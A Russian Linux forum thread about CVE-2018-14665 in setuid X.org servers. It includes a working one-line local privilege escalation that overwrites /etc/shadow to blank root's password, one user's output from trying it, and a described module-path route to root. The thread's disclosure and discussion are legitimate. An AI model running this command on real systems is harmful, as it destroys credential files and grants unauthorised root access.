LINUX.ORG.RU

Уязвимость в X.org XServer позволяет получить привилегированный доступ

 ,


1

0

Не Ъ: https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html

https://lists.x.org/archives/xorg-announce/2018-October/002927.html

Ъ: Так как в некоторых системах бинарь Xorg имеет setuid флаг(как sudo, например), то можно задав путь к логу переписать любой файл, например /etc/shadow. Более того, можно задать путь к шрифтам, который логгируется всегда и записать что угодно.

Регрессия появилась в Xorg 1.19.0.

Попробуйте сами:

$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1
$ su

А какой вывод? Лучше не делать suid лишний раз.

★★★★★

Да чо уж! Бывает!
40 лет уже на хвосте, 35 так точно %-)
Проект живёт и динамично поддерживается.

Deleted ()

в некоторых системах бинарь Xorg имеет setuid флаг

Что, до сих пор? O_o

tailgunner ★★★★★ ()
Ответ на: комментарий от tailgunner

CentOS 7, RHEL 7.5 и... OpenBSD.

Регрессия в версии 1.19.0 появилась.

a1batross ★★★★★ ()

Debian 9

# ls -l `which Xorg`
-rwxr-xr-x 1 root root 274 Oct 14  2017 /usr/bin/Xorg

Так что это не уязвимость в X.org, а кривые руки отдельных дистростроителей. Разве что по дефолту инсталятор проиписыват suid

praseodim ★★★ ()
$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1

X.Org X Server 1.15.0
Release Date: 2013-12-27
X Protocol Version 11, Revision 0
Build Operating System: openSUSE SUSE LINUX
Current Operating System: Linux zenithar.athlon64 3.17.1-0-desktop #1 SMP PREEMPT Fri Oct 17 21:23:47 NOVT 2014 (e3f9aac) x86_64
Kernel command line: root=/dev/sdb5 splash=silent vga=0x31A
Build Date: 14 September 2015  10:14:02PM

Current version of pixman: 0.32.4
        Before reporting problems, check http://wiki.x.org
        to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
        (++) from command line, (!!) notice, (II) informational,
        (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Sat Oct 27 17:29:39 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
Initializing built-in extension Generic Event Extension
Initializing built-in extension SHAPE
Initializing built-in extension MIT-SHM
Initializing built-in extension XInputExtension
Initializing built-in extension XTEST
Initializing built-in extension BIG-REQUESTS
Initializing built-in extension SYNC
Initializing built-in extension XKEYBOARD
Initializing built-in extension XC-MISC
Initializing built-in extension SECURITY
Initializing built-in extension XINERAMA
Initializing built-in extension XFIXES
Initializing built-in extension RENDER
Initializing built-in extension RANDR
Initializing built-in extension COMPOSITE
Initializing built-in extension DAMAGE
Initializing built-in extension MIT-SCREEN-SAVER
Initializing built-in extension DOUBLE-BUFFER
Initializing built-in extension RECORD
Initializing built-in extension DPMS
Initializing built-in extension Present
Initializing built-in extension DRI3
Initializing built-in extension X-Resource
Initializing built-in extension XVideo
Initializing built-in extension XVideo-MotionCompensation
Initializing built-in extension XFree86-VidModeExtension
Initializing built-in extension XFree86-DGA
Initializing built-in extension XFree86-DRI
Initializing built-in extension DRI2
Loading extension GLX
(EE)
Fatal server error:
(EE) xf86OpenConsole: Cannot open /dev/tty0 (No such file or directory)
(EE)
(EE)
Please consult the The X.Org Foundation support
         at http://wiki.x.org
 for help.
(EE) Please also check the log file at "shadow" for additional information.
(EE)
VGA Arbitration: Cannot restore default device.
(EE) Server terminated with error (1). Closing log file.
$ su
Пароль:
su: неправильный пароль
$  
ZenitharChampion ★★★★★ ()
Последнее исправление: ZenitharChampion (всего исправлений: 1)

Хреново, конечно, но как это эксплуатировать?

WitcherGeralt ★★ ()
Ответ на: комментарий от WitcherGeralt

Суть уязвимости в том, что при запуске X-сервера пользователь может поменять путь к модулям при помощи опции "-modulepath" и добиться загрузки своего модуля, который будет запущен на этапе до сброса привилегий с правами root. Второй вариант атаки связан с использованием опции "-logfile", при помощи которой локальный злоумышленник может направить вывод лога в любой файл в системе. Например, можно указать в качестве аргумента "-logfile" файл /etc/shadow и переписать его содержимое, заменив строку с хэшем пароля суперпользователя. Для подстановки нужной строки в файл /etc/shadow можно использовать опцию "-fp", значение которой выводится в лог (например, «cd /etc; Xorg -fp 'root::16431:0:99999:7:::' -logfile shadow :1», после чего можно войти под пользователем root, выполнив команду «su» без пароля)

https://www.opennet.ru/opennews/art.shtml?num=49500

mandala ★★★★ ()

Так как в некоторых системах бинарь Xorg имеет setuid флаг

В моей системе не имеет.

entefeed ☆☆☆ ()
Ответ на: комментарий от WitcherGeralt

Если есть доступ (обычным пользователем), то пример прямо в стартпосте же.

imul ★★★★★ ()
Ответ на: комментарий от ZenitharChampion

Ты забыл cd /etc

И резервную копию файла сделай.

Xenius ★★★★★ ()
Ответ на: комментарий от a1batross

OpenBSD

они опять скажут, что это не проблема системы, так что не засчитывается :)

Deleted ()
Ответ на: комментарий от imul

Да я чот тупанул, не поглядел на пример внимательно и не понял, что данные для записи прям в параметре `-fp`.

WitcherGeralt ★★ ()

Ъ: Так как в некоторых системах бинарь Xorg имеет setuid флаг(как sudo, например),

вроде это убрали несколько лет уж как

dikiy ★★☆☆☆ ()
Закрыто добавление комментариев для недавно зарегистрированных пользователей (со score < 50)